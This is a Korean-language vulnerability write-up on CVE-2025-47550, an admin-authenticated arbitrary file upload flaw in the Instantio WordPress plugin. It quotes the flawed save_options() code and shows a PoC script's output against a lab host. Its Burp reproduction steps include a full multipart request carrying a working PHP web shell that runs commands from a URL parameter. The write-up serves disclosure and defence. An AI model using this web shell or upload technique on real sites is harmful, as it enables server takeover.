Instantio - Wordpress 플러그인 <= 3.3.16 - 인증된 (관리자+) 임의 파일 업로드 via ins_options_save

Instantio 플러그인은 옵션 저장 기능에서 파일 유형을 검사하지 않아, 관리자 이상의 권한을 가진 사용자가 임의의 파일을 업로드하고 잠재적으로 서버에서 코드 실행을 할 수 있습니다.

TL;DR 익스플로잇

관리자가 shell.php라는 웹 셸을 업로드하는 과정을 시연하는 POC CVE-2025-47550.py가 제공됩니다.

% python3 CVE-2025-47550.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 33750sec preferred_lft 33750sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86119sec preferred_lft 14119sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

세부사항

/wp-content/plugins/instantio/admin/tf-options/classes/Ins_TF_Settings.php에 있는 ins_options_save 기능은 파일 업로드를 처리할 때 적절한 파일 형식 검증을 적용하지 않습니다.

save_options() 함수의 965-972 줄은 HTTP 요청에서 $_FILES를 확인하고 MIME 유형만 일반적인 application/octet-stream과 비교하여 검증합니다. 그런 다음 파일을 웹 접근 가능한 디렉토리인 /wp-content/uploads/itinerary-fonts에 저장합니다.

$tf_fonts_extantions = array( 'application/octet-stream' );
for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
    if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
        $tf_font_filename = $_FILES['file']['name'][ $i ];
        move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
    }
}

수동 재현

관리자 패널에 로그인하고 Instantio -> Settings로 이동합니다.
Burp Suite 또는 유사한 도구를 시작하고 트래픽을 가로채기 시작합니다.
오른쪽 하단의 Save 버튼을 클릭합니다.
Burp에서 POST 요청을 가로채고, 원하는 파일 데이터를 추가합니다 (올바른 폼 경계를 사용해야 합니다).

------WebKitFormBoundarydAJeoqdwR5qxfDb1
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: application/octet-stream

<?php
// Silence is golden
if (!empty($_GET['cmd'])) {
    echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
------WebKitFormBoundarydAJeoqdwR5qxfDb1--

test2

요청을 전달하고 응답에 성공 메시지가 표시되는지 확인합니다:

{"status":"success","message":"Options saved successfully!"}

https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php로 이동하여 개념 증명을 실행합니다.

CVE-2025-47550

인기

Instantio - Wordpress 플러그인 <= 3.3.16 - 인증된 (관리자+) 임의 파일 업로드 via ins_options_save

TL;DR 익스플로잇

세부사항

수동 재현